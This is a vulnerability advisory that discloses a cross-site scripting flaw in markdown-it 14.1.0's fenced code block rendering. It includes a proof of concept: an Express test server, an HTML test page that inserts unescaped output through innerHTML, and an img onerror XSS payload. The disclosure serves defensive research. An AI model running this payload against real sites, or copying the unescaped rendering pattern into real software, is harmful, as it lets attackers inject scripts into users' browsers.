Markdown-it 14.1.0 - Cross-site scripting (XSS)

6,9

Medium

6,9

Medium

Discovered by

Camilo Vera

Offensive Team, Fluid Attacks

Summary

Full name

Markdown-it 14.1.0 - Cross-site scripting (XSS) via fenced code block rendering functionality

Code name

State

Public

Release date

21 ago 2025

Affected product

Markdown-it

Vendor

Markdown-it

Affected version(s)

14.1.0

Vulnerability name

Reflected cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

CVE ID(s)

Description

Cross-site Scripting (XSS) in markdown-it 14.1.0 allows for the arbitrary execution of JavaScript when custom highlight functions are used.

Vulnerability

The vulnerability exists in lib/renderer.mjs lines 29-75, where the fenced block renderer performs a simple string check.

if (highlighted.indexOf('<pre') === 0) {
    return highlighted + '\n'
}

If a custom highlight function returns HTML that starts with <pre, the content is directly returned without sanitization, allowing the injection of malicious HTML elements and JavaScript code.

PoC

  1. Install markdown-it using npm.

    npm install markdown-it
  2. Create the test_server.mjs file with the following code:

    #!/usr/bin/env node
    
    import express from 'express'
    import path from 'path'
    import { fileURLToPath } from 'url'
    import MarkdownIt from 'markdown-it';
    
    const __filename = fileURLToPath(import.metA.url) // change metA to meta
    const __dirname = path.dirname(__filename)
    
    const app = express()
    const port = 3000
    
    // Serve static files
    app.use(express.static('.'))
    app.use(express.json())
    app.use(express.urlencoded({ extended: true }))
    
    // Serve the main test page
    app.get('/', (req, res) => {
      res.sendFile(path.join(__dirname, 'xss_test.html'))
    })
    
    // API endpoint to test markdown rendering server-side
    app.post('/api/render', async (req, res) => {
      try {
        const { markdown } = req.body
        
        let md
        
        // Highlight wrapper that could be vulnerable to user input
        const createHighlightWrapper = () => {
          return function(str, lang, attrs) {
            // Simulate a highlight function that processes user input
            // This could be a wrapper around highlight.js or similar
            return str
          }
        }
        
        md = new MarkdownIt({
          highlight: createHighlightWrapper()
        })
        console.log(markdown);
        const result = md.render(markdown)
        res.json({ html: result })
        
      } catch (error) {
        console.error('Error rendering markdown:', error)
        res.status(500).json({ error: error.message })
      }
    })
    
    // Start server
    app.listen(port, () => {
      console.log(`🚀 XSS Test Server running at http://localhost:${port}`)
      console.log(`📝 Open your browser and navigate to the URL above to test the vulnerability`)
      console.log(`⚠️  WARNING: This server demonstrates XSS vulnerabilities. Use only for testing!`)
    })
  3. Create the xss_test.html file:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>markdown-it XSS Vulnerability Test</title>
        <style>
            body {
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                max-width: 1200px;
                margin: 0 auto;
                padding: 20px;
                background-color: #f5f5f5;
            }
    
            .header {
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                color: white;
                padding: 20px;
                border-radius: 10px;
                margin-bottom: 30px;
                text-align: center;
            }
    
            .warning {
                background-color: #fff3cd;
                color: #856404;
                padding: 15px;
                border-radius: 5px;
                border-left: 4px solid #ffc107;
                margin-bottom: 20px;
            }
    
            .test-container {
                background: white;
                padding: 20px;
                border-radius: 10px;
                box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                margin-bottom: 30px;
            }
    
            .test-group {
                margin-bottom: 30px;
                padding: 20px;
                border: 2px solid #e9ecef;
                border-radius: 8px;
            }
    
            .test-group.vulnerable {
                border-color: #dc3545;
                background-color: #fdf2f2;
            }
    
            .test-group.safe {
                border-color: #28a745;
                background-color: #f2f9f2;
            }
    
            textarea {
                width: 100%;
                height: 150px;
                padding: 10px;
                border: 1px solid #ddd;
                border-radius: 5px;
                font-family: 'Courier New', monospace;
                font-size: 14px;
                resize: vertical;
            }
    
            button {
                background-color: #007bff;
                color: white;
                padding: 10px 20px;
                border: none;
                border-radius: 5px;
                cursor: pointer;
                font-size: 16px;
                margin: 10px 5px;
            }
    
            button:hover {
                background-color: #0056b3;
            }
    
            button.dangerous {
                background-color: #dc3545;
            }
    
            button.dangerous:hover {
                background-color: #c82333;
            }
    
            button.safe {
                background-color: #28a745;
            }
    
            button.safe:hover {
                background-color: #218838;
            }
    
            .result {
                margin-top: 20px;
                padding: 15px;
                border-radius: 5px;
                background-color: #f8f9fa;
                border: 1px solid #e9ecef;
            }
    
            .result h3 {
                margin-top: 0;
                color: #495057;
            }
    
            .result-content {
                background-color: white;
                padding: 15px;
                border-radius: 5px;
                border: 1px solid #ddd;
                margin-top: 10px;
            }
    
            .code-block {
                background-color: #f8f9fa;
                padding: 10px;
                border-radius: 5px;
                font-family: 'Courier New', monospace;
                font-size: 14px;
                border: 1px solid #e9ecef;
                overflow-x: auto;
            }
        </style>
    </head>
    <body>
        <div class="header">
            <h1>🔍 markdown-it XSS Vulnerability Test</h1>
            <p>CVE Research: Highlight Function XSS Injection</p>
        </div>
    
        <div class="warning">
            <strong>⚠️ WARNING:</strong> This page demonstrates XSS vulnerabilities for security research purposes.
            The exploits shown here will execute JavaScript in your browser. Use only for testing!
        </div>
    
        <div class="test-container">
            <h2>📝 Test Input</h2>
            <p>Enter markdown code with fenced code blocks to test the vulnerability:</p>
            <textarea id="markdownInput" placeholder="Enter markdown here...">```javascript
    <code>console.log("Hello World");</code><img src='x' onerror='alert("🚨 XSS Executed!")'>
    ```</textarea>
        </div>
    
        <!-- Test 1: Vulnerable Code Block -->
        <div class="test-group vulnerable">
            <h2>🚨 Test 1: Vulnerable Code Block XSS</h2>
            <p><strong>Vulnerability:</strong> Code block content that starts with &lt;pre&gt; bypasses escaping</p>
            <p><em>Scenario: User enters code content that starts with &lt;pre&gt; tag</em></p>
            <button class="dangerous" onclick="testVulnerability('vulnerable')">Test Vulnerable Code</button>
            <div id="result1" class="result" style="display: none;">
                <h3>Rendered Output:</h3>
                <div id="output1" class="result-content"></div>
            </div>
        </div>
    
        <!-- Test 2: Safe Example -->
        <div class="test-group safe">
            <h2>✅ Test 2: Safe Highlighting (Comparison)</h2>
            <p><strong>Safe:</strong> Highlight function doesn't start with &lt;pre&gt; so output gets properly escaped</p>
            <button class="safe" onclick="testVulnerability('safe')">Test Safe Highlighting</button>
            <div id="result2" class="result" style="display: none;">
                <h3>Rendered Output:</h3>
                <div id="output2" class="result-content"></div>
            </div>
        </div>
    
        <div class="test-container">
            <h2>📊 Vulnerability Analysis</h2>
            <div class="code-block">
                <strong>Vulnerable Code Path (lib/renderer.mjs):</strong><br>
                if (highlighted.indexOf('&lt;pre') === 0) {<br>
                  return highlighted + '\n'  // ⚠️ Direct return without escaping<br>
                }
            </div>
            <p><strong>Root Cause:</strong> The fence renderer assumes that highlight functions returning HTML starting with "&lt;pre" are safe and returns them directly without any sanitization.</p>
            <p><strong>Impact:</strong> Malicious highlight functions can inject arbitrary HTML and JavaScript, leading to XSS attacks.</p>
        </div>
    
        <script>
            async function testVulnerability(testType) {
                const markdownInput = document.getElementById('markdownInput');
                const outputDiv = document.getElementById('output' + getTestNumber(testType));
                const resultDiv = document.getElementById('result' + getTestNumber(testType));
    
                const exampleInputs = {
                    'vulnerable': `# Vulnerable Code Block XSS Test
    
    \`\`\`javascript
    <code>console.log("Hello World");</code><img src='x' onerror='alert("🚨 XSS Executed!")'>
    \`\`\`
    
    This demonstrates how code content starting with &lt;pre&gt; can inject XSS.`,
    
                    'safe': `# Safe Highlighting Test
    
    <code>console.log("Hello World");</code><img src='x' onerror='alert("This won't execute as XSS")'>
    
    This demonstrates safe highlighting that properly escapes content.`
                };
    
                // Set example input for the test type
                if (exampleInputs[testType]) {
                    markdownInput.value = exampleInputs[testType];
                }
    
                try {
                    const response = await fetch('/api/render', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                        },
                        body: JSON.stringify({
                            markdown: markdownInput.value,
                            testType: testType
                        })
                    });
    
                    const data = await response.json();
    
                    if (data.error) {
                        outputDiv.innerHTML = `<div style="color: red;">Error: ${data.error}</div>`;
                    } else {
                        // Show the raw HTML for inspection
                        outputDiv.innerHTML = `
                            <div style="margin-bottom: 15px;">
                                <strong>Raw HTML:</strong>
                                <pre style="background: #f8f9fa; padding: 10px; border-radius: 5px; font-size: 12px; overflow-x: auto;">${escapeHtml(data.html)}</pre>
                            </div>
                            <div>
                                <strong>Rendered Result:</strong>
                                <div style="border: 2px solid #007bff; padding: 15px; margin-top: 10px; border-radius: 5px;">
                                    ${data.html}
                                </div>
                            </div>
                        `;
                    }
    
                    resultDiv.style.display = 'block';
    
                } catch (error) {
                    outputDiv.innerHTML = `<div style="color: red;">Network Error: ${error.message}</div>`;
                    resultDiv.style.display = 'block';
                }
            }
    
            function getTestNumber(testType) {
                switch (testType) {
                    case 'vulnerable': return '1';
                    case 'safe': return '2';
                    default: return '1';
                }
            }
    
            function escapeHtml(text) {
                const div = document.createElement('div');
                div.textContent = text;
                return div.innerHTML;
            }
    
            // Add some example inputs
            document.addEventListener('DOMContentLoaded', function() {
                const textarea = document.getElementById('markdownInput');
                textarea.value = `\`\`\`javascript
    <code>console.log("Hello World");</code><img src='x' onerror='alert("This won't execute as XSS")'>
    \`\`\``;
            });
        </script>
    </body>
    </html>
    
    
  4. Run the server with the following command:

    node test_server.mjs
  5. Navigate to http://localhost:3000 and click on Test Vulnerable Code to trigger the vulnerability.

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-7969 to refer to this issue from now on.

Disclosure policy

System Information

  • Markdown-it

  • Version 14.1.0

  • Operative System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Camilo Vera from Fluid Attacks' Offensive Team.

Timeline

17 jul 2025

Vulnerability discovered

21 jul 2025

Vendor contacted

23 jul 2025

Vendor replied

29 jul 2025

Follow-up with vendor

21 ago 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.